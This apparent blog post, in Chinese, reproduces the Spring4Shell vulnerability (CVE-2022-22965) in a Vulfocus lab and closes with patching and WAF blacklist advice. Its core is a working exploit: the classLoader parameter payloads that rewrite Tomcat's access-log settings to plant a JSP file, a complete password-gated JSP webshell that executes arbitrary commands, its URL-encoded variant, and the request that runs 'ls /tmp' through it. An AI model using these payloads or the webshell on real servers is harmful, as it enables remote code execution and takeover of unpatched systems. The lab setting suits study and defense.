CVE-2022-22965 Spring远程代码执行漏洞复现
一、漏洞概述
1、JDK9+
2、Spring Framework
- 5.3.18+
- 5.2.20+
三、漏洞原理
通过该漏洞可写入webshell以及命令执行。在Spring框架的JDK9版本(及以上版本)中,远程攻击者可在满足特定条件的基础上,通过框架的参数绑定功能获取AccessLogValve对象并诸如恶意字段值,从而触发pipeline机制并写入任意路径下的文件。
漏洞触发条件如下:
使用JDK9及以上版本的Spring MVC框架
Spring框架以及衍生的框架spring-beans-*.jar文件或者存在
CachedIntrospectionResults.class
————大佬链接:https://www.freebuf.com/vuls/326878.html
四、漏洞复现环境
Kali Linux + Vulfocus
渗透机:Kali Linux
靶机:Vulfocus
五、实验步骤
1.开启镜像环境
2.构造payload
1 2 3 4 5 6 7 | class .module.classLoader.resources.context.parent.pipeline.first.pattern=rce_20220329 (写入shell内容) class .module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp(修改tomcat配置日志文件后缀jsp) class .module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT(写入shell在网站根目录) class .module.classLoader.resources.context.parent.pipeline.first.prefix=shell(写入shell文件名称)<br><br> class .module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=(文件日期格式(实际构造为空值即可)) |
3.逐一发送构造的payload
4.访问192.168.117.131:52410/shell.jsp,出现shell内容,写入成功
5.将构造webshell,并解析
①写入根目录
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 | ( 1 )构造webshell <% if ( "w" .equals(request.getParameter( "pwd" ))) { java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter( "cmd" )).getInputStream(); int a = - 1 ; byte [] b = new byte [ 2048 ]; while ((a=in.read(b))!=- 1 ) { out.println( new String(b)); } } %> ————但不知道为什么,这样编码后的页面显示全是 "???" 。是鄙人才疏学浅了,这里用大佬的构造方法(大佬链接:https: //blog.csdn.net/weixin_45632448/article/details/124190382) %{c2}i if ( "w" .equals(request.getParameter( "pwd" ))) { java.io.InputStream in = %{c1}i.getRuntime().exec(request.getParameter( "cmd" )).getInputStream(); int a = - 1 ; byte [] b = new byte [ 2048 ]; while ((a=in.read(b))!=- 1 ) { out.println( new String(b)); } } %{suffix}i 把下面的写入包中 suffix:%> // c1:Runtime c2:<% ( 2 )url编码webshell if % 28 %22w% 22 .equals%28request.getParameter% 28 %22pwd% 22 % 29 % 29 % 29 %0A%0A%7B%20java.io.InputStream%20in% 20 %3D% 20 % 25 %7Bc1%7Di.getRuntime% 28 % 29 .exec%28request.getParameter% 28 %22cmd% 22 % 29 % 29 .getInputStream% 28 % 29 %3B%0A%0Aint%20a% 20 %3D% 20 - 1 %3B%0A%0Abyte%5B%5D%20b% 20 %3D%20new%20byte%5B2048%5D%3B%0A%0Awhile% 28 %28a%3Din.read%28b% 29 % 29 % 21 %3D- 1 % 29 %0A%0A%7B%20out.println%28new%20String%28b% 29 % 29 %3B% 20 %7D%0A%0A%7D% 20 % 25 %7Bsuffix%7Di |
②构造GET请求的包
6.访问http://192.168.117.131:52410/shell.jsp?pwd=w&cmd=ls /tmp获取flag
7.完结撒花
六、修复方法
升级Spring Framework 版本
Spring Framework == 5.3.18 Spring Framework == 5.2.20
临时防御方案:
1、 WAF防御。
可以在WAF中添加以下规则对特殊输入的字符串进行过滤:
Class.* class.* *.class.* *Class.*
2、通过黑名单策略进行防护。
您可在受影响产品代码中搜索@InitBinder注解,判断方法体内是否有dataBinder.serDisallowerFields方法,若发现存在该方法,则在黑名单中添加如下过滤规则:
Class.* class.* *.class.* *Class.*
七、Poc
补一下写的Poc:https://www.cnblogs.com/wavesky/p/16406083.html
Github:https://github.com/wave-to/Poc/tree/main/Remote_code_execution
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 全程不用写代码,我用AI程序员写了一个飞机大战
· DeepSeek 开源周回顾「GitHub 热点速览」
· 记一次.NET内存居高不下排查解决与启示
· 物流快递公司核心技术能力-地址解析分单基础技术分享
· .NET 10首个预览版发布:重大改进与新特性概览!